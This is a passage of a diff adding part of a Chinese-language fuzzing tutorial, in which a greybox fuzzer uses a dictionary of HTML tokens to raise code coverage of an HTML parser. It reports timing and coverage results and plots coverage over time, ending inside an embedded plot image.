+dict_mutator = DictMutator(["<a>","</a>","<a/>", "='a'"])
+dict_fuzzer = GreyboxFuzzer([seed_input], dict_mutator, PowerSchedule())
+
+start = time.time()
+dict_fuzzer.runs(runner, trials = n)
+end = time.time()
+
+"It took the fuzzer %0.2f seconds to generate and execute %d inputs." % (end - start, n)
+
+```
+
+```py
+'It took the fuzzer 11.81 seconds to generate and execute 5000 inputs.'
+
+```
+
+显然，这需要更长的时间。 根据我们的经验，这意味着涉及更多代码：
+
+```py
+"During this fuzzing campaign, we covered %d statements." % len(runner.coverage())
+
+```
+
+```py
+'During this fuzzing campaign, we covered 136 statements.'
+
+```
+
+覆盖范围随时间变化的模糊测试如何比较？
+
+```py
+from [Coverage](Coverage.html) import population_coverage
+
+```
+
+```py
+import [matplotlib.pyplot](https://docs.python.org/3/library/matplotlib.pyplot.html) as [plt](https://docs.python.org/3/library/plt.html)
+
+```
+
+```py
+_, dict_cov = population_coverage(dict_fuzzer.inputs, my_parser)
+_, fuzz_cov = population_coverage(fuzzer.inputs, my_parser)
+line_dict, = plt.plot(dict_cov, label="With Dictionary")
+line_fuzz, = plt.plot(fuzz_cov, label="Without Dictionary")
+plt.legend(handles=[line_dict, line_fuzz])
+plt.xlim(0,n)
+plt.title('Coverage over time')
+plt.xlabel('# of inputs')
+plt.ylabel('lines covered');
+
+```
+
+![](data:image/png;base64,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y+zevgW3ffOkKrcPGjSI6667DoAVK1bQo0cPNmzYwOeff07Tpk1599136dOnD2vXruWCCy5g0aJF3HrrrezZs4e33nqLm2++GYCVK1dy5plnsm7dOiZMmMC1115bbb2OOOIIHnroITp16sTWrVv54osvuOCCC1i+fDllZWXceOONvPLKK5gZV155Je7O+vXrGTJkCIWFhcyePZsuXbqwYMECCgsLuffee5k8eTIA48aNY8KECaxdu5Zhw4Zx+umnM2fOHDp06MDzzz9PkyZNePjhh5k0aRL79+/nuOOO4/HHH6dp06aMHTuWNm3asHjchMpnAAAREklEQVTxYnr37s2LL77InDlzaNu2LbFYjK5duzJv3jwKCwtT9C+UGVl/tUztHesKIiKp0r59e/Lz81m3bh1z5szh1FNPZcCAAcydO5cFCxbQq1cvGjVqVJG/UaNG3H777Vx88cUsWbKEiy++GID33nuPV155hfnz5/PrX/+akpKShPtu0aIFRUVFrF69+qD0SZMm8dFHH7F48WLeeecdRo8ezbXXXkv79u2ZPXs2s2fPPij/woULmTJlCm+//Tbz5s3j4YcfZvHixQCsXr2aa665hhUrVtCqVSuefvppAL797W/zz3/+k6VLl3LiiSfyyCOPVJT3/vvvM3PmTO677z4uvfRSpk2bBsDMmTM5+eSTsy6AQE60RFIYRrwsLFRBRHJLdS2GdBo0aBBz5sxhzpw5XH/99Xz66afMmTOHli1bctpppyVVxje+8Q0aN25M48aNOeqoo/jss8/o2LFjwu+5+5fSZs6cyVVXXUV+fnDpa9Om+q7rt956i29961s0a9YMCALEm2++yYgRIygqKqJ3794AfO1rX2Pt2rUALF++nFtuuYVt27axc+dOhg4dWlHeRRddRF5eHgCXX345I0eOZMKECUyePJnLLrss8cmog7L+apmWlkiDvFSWKlJvlY+LLFu2jB49ejBw4EDmzp1bMR6SjMaNG1e8z8vLS2o8YceOHaxdu5auXbselO7uNfrDs7JAlKheY8eO5cEHH2TZsmXcdtttB92nUR6MADp16kS7du2YNWsWb7/9NsOGDUu6XnVJ9geRlI6JqCUikkqDBg3ixRdfpE2bNuTl5dGmTRu2bdvG3LlzOfXUU7+Uv3nz5uzYseOw9rlz505+9KMfceGFF9K6deuDtp133nk89NBDFRf8rVu3VrvfM844g+eee47du3eza9cunn32Wb7+9a9Xu/8dO3Zw9NFHU1JSUtFdVZVx48Zx6aWX8t3vfreihZJtdLWMVzEmkp3/mCJ1Tc+ePdm8eTMDBw48KK1ly5aV9v8PGTKElStX0rt3b5544oka7WvIkCH06NGD/v3707lzZ/77v//7S3nGjRtH586d6dWrFyeffDJ/+tOfABg/fjzDhg1jyJAhB+Xv27cvY8eOpX///gwYMIBx48bRp0+fautxxx13MGDAAM4991y6detWbd4RI0awc+fOrO3KArDqmmt1XeOjj/d9G1YnzpisZU/B01fANf+Etl0T5xepw959911OPPHEqKsh1ViwYAHXXXcdb775Ztr2Udn/AzNbWL501OHK+oH1lNKYiIhkyF133cXEiRMTdnnVderOilfRnaX1hkQkvW666SY+/vhjTj/99KirclgUROJVDKyrJSIikgx1ZwGU7oN3X4B1wRINmp0lIpIcBRGANTODAXWA/AIoaBFtfUREskRWB5GUjVzsDxde++EMOLoXFLRMVckiIjlN/TZwYLmTVp2gSevq84pIUjK5FHwypk6dyvr16yvdNnbsWIqKijj55JPp2rUrP/zhD/n0008rtidaGv65555j5cqVFZ9vvfVWZs6cmZJ613UKIhD3WNysbpiJ1CmZXgo+keqCCMDdd9/N0qVLWbVqFX369GHIkCHs378fSLw0/KFB5Pbbb+ecc85JXeUPUZeWktdVEw4EEc3Kklz18k3wr2WpLfMrPWHYXVVuTvdS8FUt0V6+7DvAPffcw86dO+nRowcLFixg9OjRNGnShLlz59KkSZNK621mXHfddTz77LO8/PLLjBw58qCl4R977DHuuecezIxevXpx9dVXM2PGDP7+97/zm9/8hqeffpo77riDCy64gFGjRvHaa6/xs5/9jNLSUk455RQmTpxI48aN6dKlC2PGjOGFF16gpKSEv/zlL3Tr1o358+czYcIE9uzZQ5MmTZgyZQonnHACU6dO5a9//St79+5l165ddOjQgVGjRjFy5EgARo8ezcUXX8yIESNS8++bJLVE4MDUXrVERFImnUvBV7dEe2VGjRpFv379mDZtGkuWLKkygMTr27cv77333kFpK1as4M4772TWrFksXbqUP/zhD5x22mmMGDGCu+++myVLlnDsscdW5N+7dy9jx47liSeeYNmyZZSWljJx4sSK7YWFhSxatIirr766otuuW7duvPHGGyxevJjbb7+dX/ziFxX5586dy6OPPsqsWbMYN24cU6ZMAWD79u3MmTOH4cOHJzyuVMvuq2aqRtYrgohaIpKjqmkxpFO6loKvbon2VKlsSahZs2YxatSoinW/Ei0lv2rVKoqKiipWEx4zZgx//OMfmTBhQkW9IVhK/plnngGCgDBmzBhWr16NmR30/JRzzz23Yp+DBw/mmmuuYePGjTzzzDN85zvfqVjiPpMia4mYWZ6ZLTazF8PPRWb2tpmtNrMnzKxRojJSpmJMREFEJJXStRR8VWv+5efnEyt/QikctAx7TS1evPhLa06lcil5OHBs8UvJ/8d//AdDhgxh+fLlvPDCC1UuJQ/wgx/8gGnTpjFlypTIFnGMsjvrJ8C7cZ9/B9zn7scDnwNXJCrAUtUUcd2pLpIO6VoKvqol2tu1a8fGjRvZsmUL+/bt48UXX6xx2e7OAw88wIYNGzj//PMP2nb22Wfz5JNPsmXLFiDxUvLdunVj7dq1rFmzBoDHH3+cwYMHV7v/7du306FDByCYDFCdsWPHVsyAO+mkaB48Fkl3lpl1BL4B3Alcb0FoPwv4fpjlUeBXwMRKCwgdxyfwxwGHX6HdwX8ItUREUqt8Kfjvf//7B6Xt3LmzyqXg77rrLnr37l0xsF6Z+CXagYOWaL/11lsZMGAARUVFBy3FPnbsWK666qoqB9ZvuOEG7rjjDnbv3s3AgQOZPXv2QWM2EFyof/nLXzJ48GDy8vLo06cPU6dO5ZJLLuHKK6/kgQceqJhpBlBQUMCUKVO46KKLKgbWr7rqqmrP2c9//nPGjBnDvffey1lnnVVt3nbt2nHiiSdy4YUXVpsvnSJZCt7MngJ+CzQHfgaMBea5+3Hh9k7Ay+7eo5LvjgfGA5xwdPOvvXd/ik5em2PgnF+lpiyROkBLwee+3bt307NnTxYtWkTLlpXfJJ1zS8Gb2QXARndfaGZnlidXkrXS6Obuk4BJAP369XO++1ha6ikiUpfNnDmTyy+/nOuvv77KAJIJUXRnDQJGmNlwoABoAdwPtDKzfHcvBToCVd8VJCJSz51zzjmsW7cu6mpkfmDd3W92947u3gW4BJjl7qOB2cCoMNsY4PlM100k12Tzk0vl8GXi378u3Wx4I8Eg+xrgSOCRiOsjktUKCgrYsmWLAkk95e5s2bKFgoKCtO4n0psN3f114PXw/YdA/yjrI5JLOnbsSHFxMZs2bYq6KhKRgoICOnbsmNZ9ZPcd6yJSpYYNG1JUVBR1NSTH1aXuLBERyTIKIiIiUmsKIiIiUmuR3LGeKma2A1gVdT3qiEJgc9SVqCN0Lg7QuThA5+KAE9y9eSoKyvaB9VWpunU/25nZAp2LgM7FAToXB+hcHGBmC1JVlrqzRESk1hRERESk1rI9iEyKugJ1iM7FAToXB+hcHKBzcUDKzkVWD6yLiEi0sr0lIiIiEVIQERGRWsvaIGJm55vZKjNbY2Y3RV2fdDCzyWa20cyWx6W1MbNXzWx1+No6TDczeyA8H++YWd+474wJ8682szFRHMvhMLNOZjbbzN41sxVm9pMwvT6eiwIzm29mS8Nz8eswvcjM3g6P6wkzaxSmNw4/rwm3d4kr6+YwfZWZDY3miA6fmeWZ2WIzezH8XC/PhZmtNbNlZrakfApvRn5H3D3rfoA84APgGKARsBToHnW90nCcZwB9geVxab8Hbgrf3wT8Lnw/HHiZ4CmRA4G3w/Q2wIfha+vwfeuoj62G5+FooG/4vjnwPtC9np4LA44I3zcE3g6P8UngkjD9IeDq8P2PgIfC95cAT4Tvu4e/N42BovD3KS/q46vlObke+BPwYvi5Xp4LYC1QeEha2n9HsrUl0h9Y4+4fuvt+4M/AyIjrlHLu/gaw9ZDkkcCj4ftHgQvj0h/zwDyCJ0UeDQwFXnX3re7+OfAqcH76a5867r7B3ReF73cA7wIdqJ/nwt19Z/ixYfjjwFnAU2H6oeei/Bw9BZxtZham/9nd97n7R8AasvBRDGbWEfgG8D/h